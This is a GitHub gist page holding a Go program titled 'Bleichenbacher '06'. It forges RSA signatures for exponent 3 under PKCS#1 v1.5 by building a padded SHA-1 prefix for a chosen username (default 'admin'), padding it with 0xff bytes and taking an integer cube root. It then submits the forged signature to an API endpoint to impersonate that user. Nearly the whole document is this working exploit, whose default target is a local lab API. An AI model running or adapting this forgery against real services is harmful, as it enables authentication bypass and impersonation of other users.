Skip to content

Instantly share code, notes, and snippets.

@0xhaven
Last active August 8, 2016 21:25
Show Gist options
  • Select an option

  • Save 0xhaven/0d5f1aef18952fa9b6017dd4ca26b024 to your computer and use it in GitHub Desktop.

Select an option

Save 0xhaven/0d5f1aef18952fa9b6017dd4ca26b024 to your computer and use it in GitHub Desktop.
Bleichenbacher '06
package main
import (
"crypto/sha1"
"encoding/hex"
"flag"
"fmt"
"io/ioutil"
"log"
"math/big"
"net/http"
"net/url"
)
var (
name, apiURL string
n = new(big.Int)
tmp = new(big.Int)
padding = [...]byte{0x00, 0x01, 0xff, 0x00}
asn1Goop = [...]byte{0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a, 0x05, 0x00, 0x04, 0x14}
)
func init() {
nStr := flag.String("modulus", "0", "RSA Modulus")
flag.StringVar(&name, "name", "admin", "username to impersonate")
flag.StringVar(&apiURL, "api-url", "http://localhost:4242/api", "API URL")
flag.Parse()
if _, ok := n.SetString(*nStr, 10); !ok {
log.Fatal("invalid modulus")
}
}
func main() {
hashed := sha1.Sum([]byte(name))
prefix := append(append(padding[:], asn1Goop[:]...), hashed[:]...)
fakeSig := append(prefix, garbage(n.BitLen()/8-len(prefix))...)
if err := send(name, cubeRoot(new(big.Int).SetBytes(fakeSig)).Bytes()); err != nil {
log.Fatal(err)
}
}
func garbage(n int) (ret []byte) {
for i := 0; i < n; i++ {
ret = append(ret, 0xff)
}
return ret
}
// cubeRoot computes a cube root using newton's method.
func cubeRoot(x *big.Int) *big.Int {
prev := new(big.Int).Set(x)
guess := new(big.Int).Div(x, big.NewInt(2))
three := big.NewInt(3)
for prev.Cmp(guess) != 0 {
prev.Set(guess)
guess.Mul(guess, tmp.Mul(guess, guess))
guess.Sub(guess, x)
guess.Div(guess, tmp.Mul(three, tmp.Mul(prev, prev)))
guess.Sub(prev, guess)
}
return tmp.Sub(guess, big.NewInt(1))
}
func send(name string, sig []byte) error {
u, err := url.Parse(apiURL)
if err != nil {
return err
}
query := make(url.Values)
query.Set("sig", hex.EncodeToString(sig))
query.Set("name", name)
u.RawQuery = query.Encode()
fmt.Println("GET", u.String())
resp, err := http.Get(u.String())
if err != nil {
return err
}
defer resp.Body.Close()
b, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
fmt.Println(resp.StatusCode, string(b))
return nil
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment